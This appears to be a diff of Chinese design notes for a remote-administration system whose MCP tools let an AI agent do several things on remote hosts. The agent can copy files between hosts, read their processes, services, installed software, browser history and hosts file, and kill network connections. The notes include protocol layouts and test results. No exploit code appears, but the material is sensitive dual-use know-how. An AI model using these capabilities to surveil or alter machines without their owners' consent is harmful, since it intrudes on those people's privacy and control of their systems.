- **Linux/macOS 目标**:`dst_dir` 必须是绝对 POSIX 路径(`/home/user/incoming`、`/tmp/recv`),不得含 `\`。源端仍然只是把 `dst_dir` 与相对路径**纯字符串拼接**(`targetDir + relPath`,库内不经过任何 Windows 路径 API),因此得到 `"/tmp/recv\sub\b.bin"`;POSIX 接收端 `GetTargetDir()` 为空时会把 `\` 归一化成 `/`、去盘符、补前导 `/` 再 `MakeDirs`,正好落到 `/tmp/recv/sub/b.bin`。这条路径不需要改 Windows 客户端。
- 目标端类型来自 `RES_CLIENT_TYPE`(`LNX`/`MAC` 视为 POSIX),服务端在**建会话前**校验形态,不合法直接 `-32602`。
- **目标端回执**:目标端声明 `CLIENT_CAP_C2C_RECV_ACK`(当前只有 Linux)时,服务端在源端结果之后再 `WaitC2CReceiver`(≤5 s,250 ms 切片)等一包 176;没有该能力位的目标端(Windows、macOS、老客户端)直接跳过,不增加任何延迟。回执状态记在 `FileTransferSession` 的 `recv*` 字段,与源端的 `done/status` 互不覆盖。
### 14.5 工具契约
入参:`src_id`、`dst_id`(必填,且不得相同)、`paths`(必填,文件或目录,1..N,源端 Windows 绝对路径)、`dst_dir`(必填,绝对路径;Windows 目标用 `C:\x`,Linux/macOS 目标用 `/x`)、`timeout_ms`(默认 600000,上限 3600000)、`overwrite`(默认 `false`,见 §14.9)。
出参(`structuredContent`):`transfer_id`、`src_id`、`dst_id`、`dst_dir`、`file_count`、`total_bytes`、`receiver_ack`、`skipped`、`skip_check_failed`。
`receiver_ack` 三种取值:
- `true` 且 `status==0`:目标端已确认全部条目落盘(`file_count`/`total_bytes` 是**目标端实收**值,与源端统计一致)。
- `false`:目标端不支持回执(Windows/macOS/老客户端),或目标端中途断线——源端只保证「包已全部发出」,请用 `list_files` 复核。
- 目标端回执报错时工具**不返回** `structuredContent`,而是下面的 `-32011` 错误。
| 码 | 触发 |
|---|---|
| `-32602` | 缺参 / id 非法 / 源目标相同 / `paths`、`dst_dir` 含 `..` 段或内嵌 NUL / 编码无法转 936 / POSIX 目标的 `dst_dir` 不是绝对 `/…` 或含 `\` |
| `-32002` | 源或目标主机不在线 |
| `-32003` | 源或目标已有在飞传输(单设备单传输) |
| `-32004` | 命令下发失败 |
| `-32005` | 源端是老客户端(无 `CLIENT_CAP_C2C_PATHS`)、或源端是 Linux/macOS(目标端可以是 Linux/macOS) |
| `-32006` | `McpFileTransfer=0` 或 `McpReadonly=1`(改远程);任一端不支持 V2 |
| `-32009` / `-32010` | 源端路径不存在(win32 2/3)/ 拒绝访问(win32 5) |
| `-32011` | **目标端写入失败**:收到 176 回执且 `status != 0`;文案带 status、首个 errno(13/1→权限、2→路径不存在、28→磁盘满)与实收文件数 |
| `-32001` | 等源端结果超时(传输可能仍在进行);或**支持回执的目标端在源端完成后 5 s 内没有回执**(对 `total_bytes>0` 的传输才判失败;全空文件传输没有数据块、目标端无从学到 `totalFiles`,按无回执处理) |
### 14.6 限制
- **回执只覆盖 Linux 目标端**:Windows 目标端(V2 接收实现里没有回执通道)与 macOS(`macos/main.mm` 的客户端对象是函数内局部变量,没有全局主连接句柄)仍是 `receiver_ack:false`,只能确认「包已全部发出」,要确认落盘请用 `list_files` 核对目标端。
- **不做断点续传**(`enableResume=false`):C2C 的续传查询/应答会多两跳,v1 从简;失败即整包重发。
- **源端必须是 Windows 客户端**(`CLIENT_CAP_C2C_PATHS` 只有 Windows 置位);目标端可以是 Windows / Linux / macOS。
- **POSIX 目标的路径限制**:`dst_dir` 与文件名的 UTF-8 → ANSI 转换固定用 CP936(协议字段没有编码标志位),GBK 无法表示的字符(如 `ö`、`ß`)会变成 `?`;POSIX 目标的 `dst_dir` 必须是绝对 `/…` 且不含 `\`;Linux 侧文件名按收到的字节原样落盘(大多是 GBK 字节),在 UTF-8 环境里 `ls` 会显示为乱码但内容与 SHA-256 正确。要根治需要为 V2 名字字段引入 UTF-8 标志位,本次不做。
- **空文件不会被创建**(协议现状,与目标端类型无关):worker 对 0 字节文件不发数据块,只发 `FileCompletePacketV2`,接收端没有对应分支去 `open(O_CREAT)`。空**目录**会创建。
- 一次只允许一对主机间的单个传输(源、目标各自都要求空闲),避免与 `download_file`/`upload_file` 抢同一主机的连接。
### 14.7 验证(Debug 实例 + 两个 Debug 客户端副本,同一台机器不同目录 → 不同 client_id)
数据确实走「源客户端子连接 → 服务端中继 → 目标客户端主连接」:
| 用例 | 结果 |
|---|---|
| 发 2 个文件(其一中文名)+ 1 个目录(含 3 MB 二进制与空子目录) | 3 个文件 SHA-256 全对,空目录被创建,`file_count=3`、耗时 3.2s |
| `dst_dir` 不存在(`…\recv\fresh\nested`) | 自动创建,文件到位 |
| `src_id == dst_id` / 源路径不存在 / 目标离线 / `dst_dir` 含 `..` | `-32602` / `-32009`(win32=3) / `-32002` / `-32602` |
| `tools/mcp_smoke.ps1`(含主机类工具,41 项) | 全通过;新增 `copy_files_c2c` 同主机 `-32602`、目标离线 `-32002` 两项 |
### 14.8 增补(2026-10-27):Linux 作为目标端 + 落盘回执
改动面:服务端门禁按目标端类型校验 `dst_dir`(§14.4);Linux 接收端 `common/FileTransferV2.h` 统计每个
`transferID` 的定案条目,全部定案后从主连接回一包 `TOKEN_C2C_RECV_RESULT`(176);服务端新增
`OnC2CRecvResult` / `WaitC2CReceiver`,在源端结果之后等回执并把它变成 `receiver_ack` 或 `-32011`。
接收端记账要点(都在 `FileTransferV2.h` 的 `RecvProgress` 里):
- 条目定案有三个来源:**目录项包**(`FFV2_DIRECTORY`,无 LAST_CHUNK)、**最后一块数据**、**空文件的完成包**;
源端重发(最多 3 次)与「最后一块 + 完成包」都会重复命中同一 `fileIndex`,用 `doneFiles`/`doneDirs` 去重。
- `totalFiles` 只能从数据块/目录包学到(`FileCompletePacketV2` 没有该字段);目录项也计入 `totalFiles`,
所以判据是 `doneFiles + doneDirs >= totalFiles`。
- `errno` 只在失败瞬间有效,open 失败处紧接着就有 `Mprintf`,因此在失败点立刻取值再传递;
`fstat` 复核最终大小,大小不符记 `EIO`。
- 回执在锁外发送;`reply->IsConnected()` 失败只记日志,不影响已落盘的文件。
验证(Debug 实例 6543/6546,WSL Ubuntu 24.04 里新编译的 `linux/ghost` 以 yuan(1000) 运行):
| 用例 | 结果 |
|---|---|
| Windows → Linux,`dst_dir=/tmp/yama_c2c/recv`,2 个文件(其一中文名)+ 目录(含 3 MB 二进制与空子目录) | 3 个文件 SHA-256 全对、`sub/empty` 空目录已建,`receiver_ack:true`、`file_count=3`、`total_bytes=3147539`(与源端一致),耗时 3.2 s |
| `dst_dir=/tmp/yama_c2c/fresh/nested`(不存在) | 自动创建,`receiver_ack:true` |
| POSIX 目标给 `dst_dir=C:\tmp\x` | `-32602` "use an absolute POSIX path such as /home/user/incoming" |
| POSIX 目标给不可写位置 `/proc/yama_c2c` | `-32011` "no such file or directory (status=3, errno=2, files=1)" |
| 只发一个 0 字节文件 | 成功返回、`receiver_ack:false`(无数据块 → 接收端学不到 `totalFiles` → 不回执),**不误报** `-32001` |
| 只发一个空目录 | 目录包携带 `totalFiles` → 回执到达,`receiver_ack:true`、`file_count=0`,目录已创建 |
| Windows → Windows 回归(原 c2c_test 用例) | 全部与改动前一致,`receiver_ack:false`,耗时 3.2 s(未增加等待) |
| `upload_file`/`download_file`(`dstClientID=0`) | 不进回执分支(`FinishC2CItem` 首行即 `dstClientID==0` 返回),行为不变 |
---
## 15. 增补(2026-10-27):`download_file` / `upload_file` 支持 Linux/macOS 主机
§6/§7 的原始实现只允许 Windows 目标端(LNX/MAC 直接 `-32005`)。本次打通:
- **`upload_file`(主控 → 目标端)**:不需要客户端新指令。POSIX 接收端本来就实现了 `COMMAND_SEND_FILE_V2`
(`common/FileTransferV2.h`),`dstClientID != 0` 的包按 C2C 语义处理,目标目录由包里的 name 派生
(§14.4 的 POSIX 规则)。服务端只放开门禁 + 按目标端类型校验 `remote_dir` 形态。
- **`download_file`(目标端 → 主控)**:走客户端文件管理器子连接的 `CMD_DOWN_FILES_V2`,Linux/macOS 的
文件管理器在 `common/FileManager.h` 里(与 Windows `client/FileManager.cpp` 同构)。缺的两块在 POSIX 接收侧补齐:
### 15.1 接收端改动(`common/FileTransferV2.h`,Linux 与 macOS 共用)
1. **发送 `FileCompletePacketV2`**(`SendFilesV2` 每个文件末尾):`cmd(1) transferID(8) srcClientID(8)
dstClientID(8) fileIndex(4) fileSize(8) sha256(32)`,SHA-256 边读边算(新增 `common/sha256_posix.h`,
自包含流式实现;Windows 侧继续用 BCrypt)。服务端 `OnFileCompleteV2` 凭它计 `filesDone` 并校验摘要——
没有它 MCP 的下载会话永远等不到完成判定。
- 读失败 / 文件在传输中被截断(短读):仍把末块发出去,但**不发**完成包(不谎报校验通过),服务端按
`fileSize` 收不全而失败。
- 发送失败(`Send2Server` 返回 false)同样不发完成包。
2. **下载失败回 `TOKEN_DOWNLOAD_ERROR`**:`[cmd:1][win32err:4 LE]`,与 Windows `CFileManager::SendDownloadError`
一致。触发点:`remote_paths` 为空(win32 87)、所有路径 stat 失败 / 展开后无文件(首个 errno 映射
`ENOENT/ENOTDIR→2/3`、`EACCES/EPERM→5`,其余→2)。服务端据此立即失败,不用等停滞看门狗。
### 15.2 服务端改动(`server/2015Remote/McpServer.cpp`)
- `BuildDownloadFile` / `BuildUploadFile`:`RES_CLIENT_TYPE` 为 `LNX`/`MAC` 时按 POSIX 校验路径:
**必须以 `/` 开头、不得含 `\`(会被客户端 `WinPathToLinux` 归一化成 `/`,语义会漂)、不得含 `..` 段**,
否则 `-32602` 并给出示例;`upload_file` 的 `remote_dir` 单独给 `/` 是合法的(写到根目录,通常因权限回 `-32011`)。
Windows 目标端行为与之前逐字节一致。
- `BeginFileUpload(device_id, transfer_id)` 现在登记 `dstClientID`/`transferID`,`OnC2CRecvResult` 同时匹配
`copy_files_c2c` 与 `upload_file` 的会话(键分别是源端与目标端,都用 `dstClientID + transferID` 定位)。
`upload_file` 因此也能拿到真实回执:Linux 目标端声明 `CLIENT_CAP_C2C_RECV_ACK`,发送完成后等 ≤5 s,
`receiver_ack` 参与输出。
- **空文件(仅 POSIX 目标)**:`FileBatchTransferWorkerV2` 对 0 字节文件不发数据块,只发完成包,而完成包
没有路径字段,POSIX 接收端无从建文件(会「回执成功但文件不存在」)。服务端在驱动 worker 前,为每个
0 字节文件补一个长度 0 的 `FFV2_LAST_CHUNK` 块(名字拼法与 worker 一致:`targetDir + relPath`),
接收端据此 `open(O_CREAT)`;随后 worker 的完成包只用于去重。**Windows 目标端不注入**——保持原有行为
(Windows 目标端的空文件仍不会被创建,属 V2 协议既有边界,见 §14.6)。
- 下载完成判定(F4 的补强):条目顺序由客户端决定,目录可能排在**最后**(如空子目录),所以
`OnFileChunkV2` 的目录分支现在按 `filesDone + directoryCount >= totalFiles` 判完成。此前只比目录数,
目录排在文件之后时整次下载会干等到超时(实测 4 个文件全部 COMPLETE 后仍卡 60 s)。
### 15.3 工具契约变化
| 工具 | 变化 |
|---|---|
| `download_file` | 支持 LNX/MAC 目标端(`remote_path` 用绝对 POSIX 路径);新增错误来源 `-32009`/`-32010`(来自客户端 `TOKEN_DOWNLOAD_ERROR`) |
| `upload_file` | 支持 LNX/MAC 目标端(`remote_dir` 用绝对 POSIX 路径);输出新增 `receiver_ack`(boolean);新增 `-32011`(目标端回执报写入失败)与 `-32001`(声明会回执却不回,且传输含字节) |
`upload_file` 的错误补充(其余码与 §7.7 一致):
| 码 | 触发 |
|---|---|
| `-32011` | 目标端回了 176 且 `status != 0`;文案带 status、首个 errno、实收文件数(13/1→权限、2→路径不存在、28→磁盘满) |
| `-32001` | 传输完成但支持回执的目标端在 5 s 内没有回执(目标端可能中途掉线);全 0 字节的传输不判失败(接收端学不到 `totalFiles`,无从回执) |
`receiver_ack` 语义与 §14.5 一致:`true` 只可能来自 Linux 目标端;Windows 目标与 macOS 目标恒为 `false`
(macOS 编译侧 `macos/main.mm` 没有全局主连接句柄,本次未接线),要确证落盘请用 `list_files` 复核。
### 15.4 验证(Debug 实例 6543/6546,WSL Ubuntu 24.04 的 `linux/ghost` 以 yuan(1000) 运行)
源目录含:`a.txt`(12 B)、`empty.txt`(0 B)、`sub/b.bin`(3 MB)、`emptydir/`、`中文名.txt`(14 B)。
| 用例 | 结果 |
|---|---|
| `upload_file` → `/tmp/yama_mcp/final` | 4 文件 + 空目录到位,SHA-256 全对(`ddda4069…`/`e3b0c442…`/`834dcf1d…`/`b2a71864…`),`receiver_ack:true`,`total_bytes=3145754` |
| 同上 `overwrite=false` 重传 | 全部跳过(`skipped=4`),不发包 |
| `download_file` 整目录 | 4 文件 + 空目录,SHA-256 全对,`total_bytes=3145754` |
| 单文件 / 单文件中文名 / 只含空子目录的目录 | 均成功(后者 0.2 s 级返回,不再等超时) |
| `download_file` 不存在的路径 | `-32009`(errno 2 → win32 2) |
| `remote_path` 给 `C:\tmp\x` 或含 `..` | `-32602` |
| `upload_file` 到 `/` 或 `/root/yama_x`(非 root) | `-32011`(errno 13/2) |
| Windows 目标端 `upload_file` / `download_file` / `copy_files_c2c` 回归 | 与改动前一致(Windows 目标的空文件仍不落地,`receiver_ack` 仍为 `false`) |
注:WSL 重启后 Linux 客户端的 machine-id 会变,`id` 随之改变,测试脚本以运行时 `list_online_hosts` 为准。
### 14.9 增补(2026-10-29):`overwrite` 与 `skipped`
#### 14.9.1 问题(实测)
同一份文件连续 C2C 两次,目标端 mtime 从 `1793276750` 变为 `1793276909`(重写),大小不变、
条目数不变 —— 即**每次都全量重发**。更麻烦的是两次返回值完全相同:
```
第一次: file_count=1, total_bytes=11595168, receiver_ack=true
第二次: file_count=1, total_bytes=11595168, receiver_ack=true
```
调用方无法分辨「这次真的传了」还是「跳过了」。`upload_file` / `download_file` 有 `overwrite` +
`skipped`,只有 C2C 缺这一对。
#### 14.9.2 做法(纯服务端,协议零改动)
目标端收包是**无条件覆盖写**(`RecvFileChunkV2` 不判断是否存在),所以跳过只能在服务端做:
发起传输前先列一次目标目录,把重名的顶层项从 `paths` 里剔掉。协议、客户端一律不动。
- `overwrite=false`(默认)时,调用 `ListRemoteTopLevelNames`(`upload_file` 已在用的同一个
helper,`McpServer.cpp`)列 `dst_dir` 一层;
- 逐个 `paths` 取 basename,与目标端已有名字比对:**Windows 目标不区分大小写,POSIX 目标区分**
(为此给 helper 加了 `foldCase` 参数,默认 `true` 保持 `upload_file` 行为不变);
- 命中的路径剔除并计入 `skipped`;全被剔除则直接返回成功,**不发起传输、不建 transferID**;
- 目标目录不存在时 helper 返回空集(`ERROR_FILE_NOT_FOUND`/`ERROR_PATH_NOT_FOUND` 视为空),
正好等价于「无同名项」,不会挡住「传到新目录」;
- **预检失败不报错**:预检本身失败时退回「全量发送」,并置 `skip_check_failed=true`。
不能让一次检查失败把本该成功的传输挡掉——这是与 `upload_file` 不同的取舍
(`upload_file` 在预检失败时直接 `-32001` 失败)。
注意这个 fallback 的**实际可达范围很窄**:目标主机被在飞传输或别的工具占用时,预检确实
失败,但紧接着的 `BeginC2CTransfer` 也查同一套 `m_Pending` / `m_FileXferSessions` 互斥,
会直接返回 `-32003`,根本走不到「全量发送」那一步(见 §14.9.5)。真正能置位的只有
「列举超时或异常,而设备此刻空闲」。
`dst_dir` 传给 helper 时用**不带尾分隔符**的形态(`dstDirListAnsi`):客户端拼 `"%s\*.*"`,
带尾分隔符会拼成 `C://*.*` 让 `FindFirstFile` 失败,与 `search_file` 踩过的是同一个坑。
#### 14.9.3 契约
| 字段 | 语义 |
|---|---|
| `overwrite`(入参,bool,默认 false) | `false`:目标目录已有同名顶层项则跳过;`true`:维持旧行为,无条件重发 |
| `skipped`(出参,int) | 本次因已存在而跳过的顶层项数;`overwrite=true` 时恒为 0 |
| `skip_check_failed`(出参,bool) | `true` 表示没能预检目标目录(主机忙/超时/拒绝访问),本次按全量发送,`skipped` 不可信 |
#### 14.9.4 验证
服务端重建并重启后(`exe_build_time=2026-10-29 14:34:33`,PID 12160)实测:
| 用例 | 结果 |
|---|---|
| 1. 同一文件连传两次,第二次 `overwrite=false` | **通过**:`file_count=0`、`skipped=1`、`transfer_id=""`、`skip_check_failed=false`,目标端 mtime 不变 |
| 2. `overwrite=true` 重传 | **通过**:`file_count=1`、`skipped=0`,目标端 mtime `1793276909` → `1793281657`(推进 4748 s),条目数不变 |
| 3. 传到不存在的新目录 | **通过**:目录自动创建,单文件落成 `<dst_dir>/<basename>`(如 `/home/shaun/c2c_probe3/settings.ini`) |
| 4. 目标主机被别的工具占住(在飞) | **不可按原描述构造**:返回 `-32003` 而不是「全量发送 + `skip_check_failed=true`」,详见 §14.9.5 |
| 5. Windows 目标 + 大小写不同的同名文件 | **通过**:目标 `C:\Temp\c2c_case5` 预置 `SETTINGS.INI`(23 B),传 `settings.ini` → `skipped=1`、`file_count=0`、`transfer_id=""`,目录内仍只有 `SETTINGS.INI` |
| 6. Linux 目标 + `SETTINGS.INI` vs `settings.ini` | **通过**:目标 `/home/shaun/c2c_case6` 预置 `SETTINGS.INI`(23 B),传 `settings.ini` → `skipped=0`、`file_count=1`,两个文件并存(23 B 与 1528 B) |
用例 1、2、3 的目标端是 Ubuntu 24.04(`ubuntu-24` / `Ubuntu24`),源端是 Windows 11(`IOU-Station`);
用例 5 的目标端是 Windows 11(`MS084`)。
#### 14.9.5 用例 4 的期望不成立(实测)
原用例假设「目标主机被别的工具占住 → 预检失败 → 仍能传完,`skip_check_failed=true`」。实测两条
路径都走不到那个结果:
- **占住目标**(后台 `download_file` 一份 17 MB 日志,随即发起 C2C):返回
`-32003 Device busy: source or destination host already has a transfer in flight`。
原因是 `BeginC2CTransfer`(`McpServer.cpp`)除了查自己的 `m_FileXferSessions`,还查
`src_id`/`dst_id` 的 `m_Pending`——与预检 `BeginPending` 的互斥条件是同一套。预检失败后
落到它这里仍然被拒,`skip_check_failed` 因此不可观测。
- **让列举失败但写入成功**(`chmod 333`,可写不可读):预检**没有**失败。Linux 客户端把
`EACCES` 当成「目录里没有条目」上报(不是 `TOKEN_FILE_LIST_ERROR`),服务端于是
`skip_check_failed=false`、`skipped=0`,随后照常覆盖写,文件确实写进了 1528 字节。
即这一路是 **fail-open**:列不出来的目录,`overwrite=false` 不会保护其中已有的同名文件。
因此 `skip_check_failed` 现在只作为「列举超时/异常且设备空闲」的兜底存在,难以稳定构造,
字段保留。若要真正验证它,需要让 `WaitPending` 超时(例如临时挂起客户端进程),代价是可能
把主机判成离线,本轮没有做。
#### 14.9.6 一次误报的复盘(重要,避免重犯)
本轮曾判定「单文件 C2C 落盘会多出 `C:/…` 目录树,只有目录/多文件正常」,并据此在
`common/FileTransferV2.h` 里加了一段接收端路径加固。**该结论是错的,加固已还原。**
根因是自制的 JSON-RPC 直连测试脚本:为了绕过连接器缓存的 `tools/list`(它还没有
`overwrite` 字段),脚本用命令行参数传 JSON,而**命令行传递层会把 `\\` 折成 `\/`**,
于是 Python 解析出来的路径已经是 `C://ProgramData//HTS//…`(双正斜杠)。源端拿到一条
没有任何反斜杠的路径后,`GetRelativePath` 的 basename 兜底用 `find_last_of('\\')` 找分隔符,
找不到就把整条绝对路径当相对路径返回 —— 于是落盘成 `<dst_dir>/C:/ProgramData/…`。
也就是说:**缺陷在测试工具里,不在产品里。** 同一个文件、同一个 `dst_dir`,用连接器
(标准 JSON 转义)调用时源端发出的名字是干净的 `/home/shaun/c2c_probe3/settings.ini`。
教训:
- 传含反斜杠的路径给自测脚本时,**必须走文件或 stdin,不要走命令行参数**;
- 判定「产品有 bug」之前,先用**真实 MCP 客户端**复现一次,别只信自建 harness;
- 中继侧/接收侧的日志只能证明「收到的字节是什么」,不能证明「上游是谁写坏的」。
+273
View File
@@ -0,0 +1,273 @@
# MCP P8 设计:在线主机 TLS 字段 / 连接管理 / 主机管理
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3~P6 → `Mcp_Manage_Design.md`(P7)。
> P7 复用的是「系统/窗口/服务」对话框使用的 `COMMAND_SYSTEM`、`COMMAND_WSLIST`、
> `COMMAND_SERVICECONFIG` 链路;本轮要覆盖的「连接管理」与「主机管理」走的是**另一套**
> 命令(`COMMAND_CONNECTION` / `COMMAND_MACHINE_MANAGE`),必须在同一子连接上收发多步,
> 因此新增一层会话抽象,并为工具族增加独立开关。
>
> 安全门结论(已确认):新增独立 `host_*` 工具族;写入范围限定「只读 + 可恢复操作」;
> 开关分两层——`McpMachine`(工具族总开关)与 `McpMachineDangerous`(高风险子集),
> 均默认关闭,并与 `McpReadonly` 叠加。现有 27 个工具(含 P7)一律不改行为。
## 1. 范围
| 交付 | 内容 |
|---|---|
| TLS 字段 | `list_online_hosts` / `search_hosts` / `get_host_detail` 增加 `tls` |
| 连接管理 | `list_network_connections`、`kill_network_connection` |
| 主机管理读 | 10 个标签页各一个:`host_list_processes` … `host_get_hosts_file` |
| 主机管理写 | `host_control_process` / `host_control_window` / `host_control_service` / `host_control_task` |
| 配置 | 设置对话框两个复选框 + 启动接线(`McpMachine` / `McpMachineDangerous`) |
不做的(明确排除):kill 进程、关闭窗口、删除服务/任务、卸载软件、写 hosts、
创建任务、强制删除文件、代码注入。
## 2. TLS 字段
- `HostJson.cpp` 的 `BuildHostJson()` 末尾追加
`device["tls"] = (ctx->GetClientData(ONLINELIST_TLS) == "Y");`。
数据源是登录时写入的 `ONLINELIST_TLS`(`2015RemoteDlg.cpp` 收到 `RES_TLS=="1"` 时置 `"Y"`)。
- 语义:**登录凭据**,不是实时探测。老客户端不上报该值 → `false`。
- `BuildHostJson` 同时被 WebService 的设备列表复用,Web 端也会多出该字段(向后兼容)。
- `get_host_detail` 复用 `BuildHostItemSchema()`,自动带上。
## 3. 会话架构
两条新链路都需要「主连接发一条命令 → 客户端新建子连接 → 子连接回就绪包 →
在同一子连接上多次收发」,现有 `m_Pending` 只能等主连接上的单包。做法是给
`PendingRequest` 增加 `kind`,**复用同一张表** `m_Pending`(从而天然保证「单设备单飞行」),
而不是另开一套状态。
```cpp
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr };
```
| 成员 | 用途 |
|---|---|
| `m_SubCtxToDevice` | 已绑定的子连接 → device;绑定的子连接上所有包都由 MCP 消费 |
| `m_AbsorbedSubCtx` | `CancelIO` 后仍可能到达的包:静默丢弃 |
| `m_OrphanByDevice` / `m_OrphanByPeer` | 5 秒墓碑,防止迟到的就绪包弹出 MFC 对话框 |
### 3.1 时序(工具线程)
```
BeginMachineSession(dev, tool, mainCtx) // 登记单飞行;忙 → -32003
→ 主连接 Send2Client(COMMAND_MACHINE_MANAGE)
→ 客户端开 CMachineManager 子连接,回 TOKEN_SYSINFOLIST(61)
→ OnManagedSubPacket 绑定子连接、保存首包、notify_all
WaitManagedPacket(dev, 61, …, 5000) // 就绪
每次读:
ArmManagedResponse(dev, 期望 token)
→ 子连接 Send2Client([tab 0..9]) / WaitSendIdle
→ WaitManagedPacket(dev, 期望 token, …, 12000)
EndManagedSession(dev, cancelIo=true) // 关闭子连接,不留长连接
```
整体 60 秒会话截止;每一步取 `min(step, deadline - now)`。所有超时返回 `-32001`。
### 3.2 子连接路由(`OnManagedSubPacket`)
在 `3.1` 的模型下,UI 线程收到的每个包先经过钩子
(`MessageHandle` 中终端拦截块之后、`switch (cmd)` 之前):
1. 已绑定 → 只保留 `expectedToken` 匹配的包;`TOKEN_MACHINE_MSG(42)` 存为
`clientError`(CP936→UTF-8);其余丢弃。已绑定的子连接上的一切包都归 MCP。
2. `m_AbsorbedSubCtx` 命中 → 丢弃。
3. 未绑定且 token 不是 `61` / `255` → 交回主 switch(MFC 行为不变)。
4. 未绑定且是 `61` / `255`:
- 该 context 就是主连接(`FindMainContext(parent, cid)`)→ 交回主 switch;
- 否则在同 device 的未绑定会话中按 `clientID` 精确绑定;
- 老客户端子连接 `clientID` 可能为 0 → 按 `peer` 兜底,**仅当同 peer 唯一**时才绑定;
- 都不命中:墓碑未过期 → 吸收 + `CancelIO` + 消费;否则交回主 switch
(用户手动打开对话框)。
### 3.3 必须同步调整的现有语义
- `IsPending()` 排除 `Machine` / `ConnMgr`:否则会话在飞时用户点「进程管理」,
`case TOKEN_PSLIST` 会把界面包抢走。
- `TakeMainResponse()` 顶部对 managed kind 直接返回。
- `OfflineProc` 在 `OnManageSubClosed` 之后、`RemoveFromHostList` **之前**调用
`OnManagedContextClosed`(否则连接池复用同一 context 指针后,新连接的包会被误吞)。
- 锁序:`parent->m_cs` → `m_PendingMutex`;持锁期间禁止 `Send2Client` / `CancelIO` /
`WaitSendIdle`。
### 3.4 健壮性
- UI 线程只做「有界拷贝 + 保存 + 唤醒」:单包上限 8 MiB,超限置 `clientError` 并 `CancelIO`。
- 解析全部在 MCP 工作线程上做;字符串一律用 `BoundedStrlen` / 显式偏移,
未对齐的多字节整数用 `memcpy`,禁止指针强转。
- 客户端部分列表用 `Send(buf, LocalSize(buf))` 发送,长度可能带出少量尾随 0 填充:
记录解析循环遇到「剩余全 0」即结束,定长记录列表忽略不足一条记录的尾部。
## 4. 连接管理
### 4.1 协议
- 主连接:`COMMAND_CONNECTION(253)`;客户端建 `CConnectionsManager` 子连接。
- 子连接回 `[255][u16 LE count][ConnectionInfo × count]`。
- `ConnectionInfo`(`common/commands.h`,`#pragma pack(1)`,110 字节,已 `static_assert`):
`proto(1)` / `af(1)` / `pid(4)` / `localAddr[16]` / `localPort(2,主机序)` /
`remoteAddr[16]` / `remotePort(2,主机序)` / `state(4)` / `procName[64](UTF-8)`。
地址为网络序;IPv4 取前 4 字节,`af == AF_INET(2)`,IPv6 为 `AF_INET6(23)`。
- 强制断开:子连接发 `[254][原始 110 字节记录]`;客户端 `SetTcpEntry(DELETE_TCB)`
后自动重发一次 255。
### 4.2 工具
| 工具 | 门控 | 说明 |
|---|---|---|
| `list_network_connections` | `McpMachine` | 过滤 `protocol/family/pid/process/local_port/remote_port/remote_address/state` + 分页;输出 `killable = (proto==1 && af==AF_INET)` |
| `kill_network_connection` | `McpMachine && McpManage && !McpReadonly` | 必填四元组;可选 `pid` 消歧、`dry_run` |
`kill_network_connection` 的流程刻意避免「重新拼地址」:
1. 取最新列表,**按原始 110 字节记录精确匹配**四元组(可选同时校验 PID);
2. 匹配 0 条 → `-32009`(调用方应刷新);匹配多条 → `-32602`(要求给 `pid`);
3. 目标不是 IPv4 TCP → `-32005`,不发包;
4. `dry_run` → 直接返回目标;
5. `Arm(255)` → 发 `[254][原记录]` → 等刷新列表 → 复核该四元组是否消失。
客户端 `SetTcpEntry` 的返回值被忽略且需要管理员权限,所以「断开后仍在」返回
`structuredContent.ok=false, reason="still_present"`,**绝不谎报成功**。
每次调用写审计:`tcp a:p->b:q pid=N result=…`。
## 5. 主机管理
### 5.1 协议
- 主连接:`COMMAND_MACHINE_MANAGE(162)` → 客户端 `CMachineManager` 子连接回
`TOKEN_SYSINFOLIST(61)`。
- 之后在同一子连接上发 **1 字节 tab**(0–9),响应 token 31–42。
- 动作 10–30;多数动作客户端会自动回一份刷新后的列表(服务 = 40,任务 = 41),
进程冻结/解冻(16/17)与窗口操作(11)**不回包**。
`MachineManager` 枚举(`common/commands.h`):请求 0 PROCESS / 1 WINDOWS / 2 NETSTATE /
3 SOFTWARE / 4 HTML / 5 FAVORITES / 6 WIN32SERVICE / 7 DRIVERSERVICE / 8 TASK / 9 HOSTS;
响应 31 PROCESS / 32 WINDOWS / 33 NETSTATE / 34 SOFTWARE / 35 HTML / 36 FAVORITES /
37 WIN32SERVICE / 38 DRIVERSERVICE / 39 HOSTS / 40 SERVICE_LIST / 41 TASKLIST / 42 MACHINE_MSG。
### 5.2 读工具
| 工具 | tab | 响应 | 主要过滤 |
|---|---|---|---|
| `host_list_processes` | 0 | 31 | `pid` / `name` / `arch` |
| `host_list_windows` | 1 | 32 | `pid` / `title` |
| `host_list_network_state` | 2 | 33 | `pid` / `process` / `protocol` / `local_port` / `remote_port` / `state` |
| `host_list_software` | 3 | 34 | `name` / `publisher` |
| `host_list_browser_history` | 4 | 35 | `title` / `url` |
| `host_list_favorites` | 5 | 36 | `name` / `url` |
| `host_list_win32_services` | 6 | 40 | `name` / `status` / `start_type` |
| `host_list_driver_services` | 7 | 40 | 同上 |
| `host_list_scheduled_tasks` | 8 | 41 | `name` / `folder` / `status` |
| `host_get_hosts_file` | 9 | 39 | `include_content` / `max_bytes` |
公共分页 `offset`(默认 0)/ `limit`(默认 100,上限 1000);输出
`total`(过滤后)/ `totalAll` / `offset` / `limit` / `hasMore`。
### 5.3 记录格式(与 `CMachineDlg::Show*` 逐字段对齐)
| 列表 | 格式 |
|---|---|
| 进程 31 | `DWORD pid`、`bool is64`、`title[260]`、`exe`+pad、`path`+pad、`DWORD priClass`、`DWORD threads`、`user`+pad、`DWORD workingSetKb`、`DWORD fileSizeKb`;CP936 |
| 窗口 32 | `WINDOWSINFO` 定长 1044 字节;**只含可见窗口**;空列表 = 1 字节 |
| 网络状态 33 | 进程名、`DWORD pid`、`[TCP]/[UDP]`、`ip:port`、远端、状态,各串 +2;UDP 远端 `*.*.*.*:*`、状态为空;按最后一个 `:` 拆地址 |
| 软件 34 | 5 个串各 +2:显示名、发布者、版本、安装日期、卸载命令 |
| 浏览记录 35 | 定长 2148:`time[100]` + `title[1024]` + `url[1024]` |
| 收藏夹 36 | 2 个串各 +2 |
| 服务 40 | 8 个串各 +1 NUL:显示名、描述、状态、启动类型、登录身份、交互式、**服务名**、可执行路径 |
| 计划任务 41 | `name/path/exe` 为 UTF-8、`status` 为 GBK,各 +1 NUL;两个 `DATE`;两个 0 字节结束;`folder` 由 `path` 去掉末尾 `"\<name>"` 派生 |
